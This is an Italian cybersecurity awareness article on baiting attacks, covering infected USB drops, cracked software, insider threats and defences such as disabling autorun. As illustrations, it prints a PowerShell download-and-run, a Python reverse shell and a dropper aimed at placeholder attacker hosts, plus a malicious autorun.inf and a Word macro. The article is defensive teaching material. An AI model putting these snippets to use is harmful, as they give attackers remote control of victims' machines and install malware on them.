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Minacce

Baiting e attacchi cyber: come difendersi

Scopri il baiting: cos'è, come funziona, esempi di attacco e strategie per difendersi da baiting attacks e minacce interne.

Baiting e attacchi cyber

Indice dei contenuti

  • Baiting: cos’è e come funziona
  • Un esempio di attacco baiting
  • Le variabili di un attacco baiting
  • Quando la minaccia proviene dall’interno
  • Come difendersi dal baiting
  • Il confine con il click baiting e rage baiting

Il baiting è una delle tecniche di ingegneria sociale più subdole e insidiose. Spesso sottovalutata, questa metodologia sfrutta la naturale curiosità umana o l’avidità per indurre la vittima ad abboccare, proprio come un pesce all’amo. Da qui il nome “baiting”, che deriva dall’inglese “bait”, ovvero “esca”.

Nel presente articolo vedremo cos’è il baiting, come si manifesta negli attacchi baiting, analizzeremo le sue variabili, cosa accade quando la minaccia proviene dall’interno e soprattutto come difendersi.

Non mancheranno riferimenti al click baiting significato e al rage baiting, fenomeni affini ma con dinamiche diverse, anch’essi rilevanti per comprendere l’intero quadro.

Baiting: cos’è e come funziona

Partiamo dalla definizione. Baiting cos’è? In ambito cyber, il baiting è una tecnica di attacco che utilizza un’esca digitale o fisica per ingannare la vittima e indurla a compiere un’azione che compromette la sicurezza del sistema.

Può trattarsi di una chiavetta USB lasciata incustodita, di un file gratuito online apparentemente innocuo, o di un link interessante ma in realtà malevolo.

A differenza del phishing, che punta sull’inganno tramite messaggi ingannevoli, il baiting attack si basa su un oggetto desiderabile o su un’informazione accattivante. L’utente viene attirato e spinto a interagire con l’esca, scatenando così l’attacco.

Esempio
Una chiavetta USB contenente malware lasciata intenzionalmente nel parcheggio di un’azienda. Chi la raccoglie e la collega al proprio computer potrebbe infettare l’intera rete interna, aprendo un varco per i criminali informatici.

Un esempio di attacco baiting

Per comprendere appieno il baiting significato, è fondamentale analizzare nel dettaglio un caso reale di baiting attack e poi esaminarne una trasposizione pratica, anche dal punto di vista tecnico.

Nel 2016, un esperimento scientifico dell’Università dell’Illinois Urbana-Champaign ha messo alla prova la vulnerabilità umana davanti alle esche digitali. I ricercatori hanno distribuito più di 200 chiavette USB in punti strategici del campus universitario: parcheggi, corridoi, biblioteche.

Su ogni chiavetta erano presenti file apparentemente innocui (documenti PDF, curriculum, foto di viaggi), ma contenenti un collegamento tracciabile.

Il risultato è stato allarmante: quasi la metà delle chiavette (48%) è stata inserita in un computer, spesso nell’arco di pochi minuti dal ritrovamento.

Alcune hanno aperto un semplice file che diceva: “Contatta i ricercatori se hai trovato questa chiavetta”, dimostrando quanto l’impulso umano alla curiosità possa essere sfruttato in modo malevolo.

Scenario aziendale: l’attacco reale

Immaginiamo ora questo stesso attacco in un contesto aziendale.

Un attaccante lascia una chiavetta USB nei pressi dell’ingresso di una sede aziendale. Un dipendente curioso la raccoglie e la collega al proprio computer per scoprirne il contenuto. Se la chiavetta contiene un malware ben costruito, può accadere quanto segue:

  1. Esecuzione automatica del codice grazie a script presenti nel file autorun.inf.
  2. Installazione silente di un trojan che consente l’accesso remoto al computer.
  3. Creazione di una backdoor per future intrusioni.
  4. Esfiltrazione automatica di documenti riservati.
  5. Innesco di un ransomware con cifratura dei file aziendali.

Ecco un esempio di codice di payload malevolo (in PowerShell), ipoteticamente presente sulla chiavetta, che esegue il download di un malware da un server remoto e lo avvia:

$downUrl = "http://malicious-site.com/payload.exe"

$dest = "$env:TEMP\payload.exe"

Invoke-WebRequest -Uri $downUrl -OutFile $dest

Start-Process $dest

Questo codice, in apparenza semplice, può avviare un attacco devastante, specialmente se eseguito con privilegi amministrativi o su macchine non aggiornate.

Il baiting in versione digitale

Il baiting attack può però avvenire anche senza supporto fisico, sfruttando la distribuzione online di software contraffatti o file apparentemente utili:

  • Crack di videogiochi
  • File torrent con nomi accattivanti
  • Strumenti per hacker su forum underground
  • Estensioni browser false

Un file scaricato con nome “Adobe_Premiere_2025_Crack.exe” può contenere in realtà un trojan o un RAT (Remote Access Trojan). Anche qui la “bait” (esca) è la promessa di qualcosa di gratuito e utile. Ma il prezzo da pagare è la sicurezza del sistema.

Ecco un esempio semplificato in Python di reverse shell, spesso inserita in questi file camuffati:

import socket,subprocess,os

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

s.connect(("attacker-server.com",4444))

os.dup2(s.fileno(),0)

os.dup2(s.fileno(),1)

os.dup2(s.fileno(),2)

subprocess.call(["/bin/sh","-i"])

Questo codice crea una connessione remota che consente all’attaccante di controllare il dispositivo infetto, accedendo a file, webcam, microfono e molto altro.

Le variabili di un attacco baiting

Ogni baiting attack può assumere caratteristiche diverse, adattandosi al contesto, al tipo di vittima e alla finalità dell’attacco. Comprendere queste variabili fondamentali è essenziale per identificare le minacce e sviluppare contromisure efficaci.

Tipo di esca

La bait (esca) può essere fisica o digitale:

  • Fisica
    La più comune è la chiavetta USB, ma possono essere usati anche CD/DVD, hard disk esterni, badge con chip RFID o schede SD.
  • Digitale
    Link in email, allegati “PDF” che nascondono eseguibili .exe, software pirata, crack, aggiornamenti falsi, file zip infetti o addirittura plugin browser contraffatti.

Un esempio concreto: un file chiamato Paghe_Maggio_2025.xlsx.exe, che sfrutta l’inganno visivo dell’estensione, può contenere un keylogger.

Modalità di distribuzione

Le modalità con cui l’esca raggiunge la vittima variano:

  • Lasciata fisicamente in luoghi pubblici o aree comuni (parcheggi aziendali, mense, biblioteche).
  • Inviata via email in allegati ingannevoli.
  • Distribuita tramite pubblicità online (malvertising) o siti web truffaldini.
  • Veicolata attraverso social media (es. un profilo Instagram che promette gift card gratuite in cambio di un clic su un link).

Queste tecniche sfruttano la fiducia, la fretta o la disattenzione delle persone.

Tecnica di innesco

Il trigger dell’attacco può essere:

  • Automatico, come nel caso del autorun.inf nelle chiavette USB infette:
[Autorun]

open=malware.exe

action=Open folder to view files

icon=malware.ico
  • Manuale, come l’apertura di un file .docm (documento Word con macro), che esegue codice malevolo all’interno:
Sub AutoOpen()

    Dim x

    Set x = CreateObject("WScript.Shell")

    x.Run "powershell.exe -ExecutionPolicy Bypass -File download.ps1"

End Sub
  • Indiretto, tramite link camuffati che reindirizzano a siti dannosi che sfruttano vulnerabilità del browser.

Payload malevolo

Il carico utile (payload) contenuto nell’esca può avere diverse funzioni:

  • Keylogger per registrare credenziali.
  • Ransomware per cifrare file e chiedere riscatto.
  • Spyware per spiare attività e intercettare comunicazioni.
  • Reverse shell per offrire il controllo remoto dell’host.
  • Dropper che scarica altri malware da Internet.

Esempio di dropper in Python:

import requests

url = "http://attacker-site.com/malware.exe"

r = requests.get(url)

with open("C:\\Users\\Public\\payload.exe", "wb") as f:

    f.write(r.content)

Target

Gli attacchi possono essere:

  • Generici, mirati a colpire il maggior numero di utenti possibile.
  • Mirati (spear-baiting), quando il payload è costruito per uno specifico bersaglio: ad esempio, un IT manager, un CFO, o un amministratore di sistema.

Il contenuto dell’esca può contenere riferimenti personalizzati per aumentare la credibilità e l’efficacia.

Tecniche complementari

Il baiting viene spesso combinato con altre tecniche:

  • Phishing
    L’esca digitale viene accompagnata da una mail ingannevole (“Ecco la fattura richiesta”).
  • Social engineering
    L’attaccante stabilisce prima un contatto amichevole con la vittima.
  • Exploit software
    L’esecuzione del file attiva vulnerabilità note (es. CVE-2023-23397 di Outlook).

Social media baiting e rage baiting

Un esempio sofisticato è il social media baiting. L’attaccante crea un profilo falso (es. influencer attraente, recruiter, gamer famoso) che invia link ingannevoli via DM o pubblica post “esca” con link a file infetti o siti truffaldini.

Ancora più insidioso è il rage baiting, usato soprattutto su piattaforme come Facebook, TikTok o X (ex Twitter). Si tratta di contenuti provocatori, spesso politicamente o socialmente divisivi, creati appositamente per generare reazioni forti.

L’utente indignato clicca, commenta, condivide: nel frattempo viene rediratto verso siti dannosi o esposto a malvertising.

La minaccia

Quando la minaccia proviene dall’interno

Una delle sfaccettature più pericolose del baiting è quando la minaccia è interna all’organizzazione. Un dipendente scontento, un collaboratore temporaneo o persino un addetto alle pulizie possono sfruttare tecniche di baiting attacks per sabotare i sistemi.

Esempio
Un impiegato può introdurre intenzionalmente una chiavetta USB infetta, o caricare file malevoli su una cartella condivisa. L’aspetto insidioso è che in questi casi l’azione può sfuggire ai sistemi di monitoraggio tradizionali, poiché l’autore ha accesso legittimo all’infrastruttura.

Le aziende devono quindi non solo proteggersi dagli attacchi esterni, ma anche implementare misure di insider threat management: monitoraggio dei comportamenti, controllo degli accessi e log di sistema ben configurati sono solo alcune delle contromisure possibili.

Come difendersi dal baiting

Difendersi da un baiting attack non è semplice, perché la tecnica agisce sul lato umano della sicurezza, spesso il più fragile.

Per questo motivo è necessario adottare un approccio multidimensionale, che coinvolga tecnologie, cultura aziendale, consapevolezza individuale e policy strutturate. Vediamo nel dettaglio le strategie difensive più efficaci, accompagnate anche da esempi pratici e codice dove possibile.

1. Formazione e consapevolezza

Il primo passo per contrastare il baiting è la formazione degli utenti. Non basta avere antivirus aggiornati se chi utilizza i dispositivi non conosce i rischi legati alle esche fisiche e digitali.

Organizzare:

  • Workshop pratici con simulazioni di attacchi USB
  • Video formativi che illustrino le tecniche di ingegneria sociale
  • Test di awareness con campagne di finto baiting per valutare la reattività dei dipendenti

Un esempio di simulazione potrebbe essere l’invio di un file via email con soggetto “Busta paga maggio”, contenente un .exe camuffato. Al clic dell’utente, viene registrato l’evento e restituito un messaggio formativo del tipo:

“Hai appena eseguito un file potenzialmente malevolo. In un caso reale, il tuo sistema sarebbe stato compromesso.”

2. Politiche di sicurezza chiare

Ogni organizzazione dovrebbe definire e comunicare chiaramente una security policy aziendale, che includa:

  • Divieto assoluto di collegare dispositivi USB non autorizzati
  • Uso esclusivo di supporti verificati o crittografati
  • Segnalazione obbligatoria in caso di ritrovamento di dispositivi

Queste regole devono essere presenti nel regolamento interno, nei contratti di lavoro e nei manuali operativi.

Esempio di policy da inserire:

È vietato collegare qualsiasi dispositivo USB non aziendale ai terminali di rete. La violazione della presente norma comporta l’avvio di una procedura disciplinare.

3. Disabilitare l’auto-esecuzione

Uno dei vettori più usati nei baiting attack fisici è l’autorun di Windows. Disattivarlo previene l’esecuzione automatica di codice malevolo da chiavette USB.

Ecco un esempio di modifica del registro di sistema per disabilitare AutoRun:

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer]

"NoDriveTypeAutoRun"=dword:000000FF

Oppure, via PowerShell:

Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" -Name "NoDriveTypeAutoRun" -Value 255

4. Utilizzare software antivirus e antimalware avanzati

Un antivirus aggiornato può intercettare i payload più comuni come keylogger, trojan, spyware o dropper.

Tuttavia, molti attacchi baiting utilizzano zero-day o tecniche di offuscamento avanzate. Per questo è utile optare per soluzioni Next-Gen AV e cloud-based threat intelligence, in grado di:

  • Analizzare comportamenti sospetti
  • Fermare esecuzioni anomale
  • Quarantinare automaticamente file sconosciuti

Esempio di script per scansione manuale con Windows Defender:

Start-MpScan -ScanType FullScan

5. Controlli di accesso e segmentazione della rete

Anche se un malware si attiva, è possibile limitarne i danni se la rete aziendale è segmentata e ben configurata. I principi sono:

  • Minimizzare i privilegi utente: solo ciò che serve, quando serve.
  • Separare server, client e dispositivi di rete in subnet isolate.
  • Imporre controlli di accesso basati su ruoli (RBAC).

Esempio in Linux di creazione di un utente limitato:

sudo adduser limitato

sudo usermod -s /usr/sbin/nologin limitato

6. Ispezione del traffico e monitoraggio comportamentale

Soluzioni come EDR (Endpoint Detection and Response) e SIEM (Security Information and Event Management) sono fondamentali per rilevare segnali deboli di compromissione.

Questi strumenti permettono di:

  • Monitorare comportamenti insoliti (es. apertura di file fuori orario)
  • Correlare eventi da più endpoint
  • Bloccare connessioni a domini malevoli

Un esempio pratico è l’uso di ELK Stack (Elasticsearch, Logstash, Kibana) per creare dashboard personalizzate e visualizzare eventi sospetti legati a USB o file eseguiti.

Il confine con il click baiting e rage baiting

Per completare il quadro, è utile distinguere il baiting cyber da fenomeni affini:

  • Click baiting significato
    Pratica giornalistica o pubblicitaria che utilizza titoli sensazionalistici per attirare clic. Esempio: “Non crederai a cosa ha fatto questo attore famoso!” – spesso porta a contenuti deludenti o fuorvianti.
  • Rage baiting
    Contenuti creati per provocare indignazione, generare polemiche e aumentare l’engagement sui social media. Anche in questo caso, c’è una manipolazione dell’attenzione umana, seppur per scopi diversi dal cyber attacco.

Entrambe le pratiche condividono con il baiting l’idea di indurre all’azione attraverso un’esca, ma solo nel baiting cyber l’obiettivo è l’infezione o l’intrusione informatica.


Domande e risposte

  1. Cos’è il baiting nella cyber security?
    Il baiting è una tecnica che sfrutta un’esca fisica o digitale per indurre l’utente a compiere un’azione pericolosa per la sicurezza.
  2. Qual è la differenza tra phishing e baiting?
    Il phishing inganna tramite comunicazioni false, il baiting usa oggetti o file attraenti per spingere l’utente a cliccare o collegare dispositivi.
  3. Cosa significa “bait” in inglese?
    “Bait” significa “esca”. Il termine richiama l’atto di attirare una vittima con qualcosa di desiderabile.
  4. Cos’è un esempio di baiting attack?
    Una chiavetta USB infetta lasciata in un luogo pubblico che, se collegata, infetta il computer con malware.
  5. Che differenza c’è tra baiting e click baiting?
    Il click baiting serve a generare clic con titoli fuorvianti, il baiting a compromettere la sicurezza dell’utente.
  6. Cos’è il rage baiting?
    Il rage baiting è una tecnica che provoca indignazione per stimolare reazioni online, spesso su social media.
  7. Come si può evitare un attacco baiting?
    Formazione, regole interne, antivirus, disattivazione dell’autorun e segmentazione della rete sono buone difese.
  8. I dispositivi USB sono sempre pericolosi?
    Non sempre, ma quelli trovati o non autorizzati possono contenere malware. Usarli solo se verificati.
  9. Cosa fare se si collega per errore una USB sospetta?
    Scollegarla subito, disconnettere il dispositivo dalla rete e informare l’amministratore IT.
  10. Quali sono i segnali di un baiting attack riuscito?
    Rallentamenti, comportamenti anomali del sistema, connessioni sospette o file sconosciuti possono essere indicatori.
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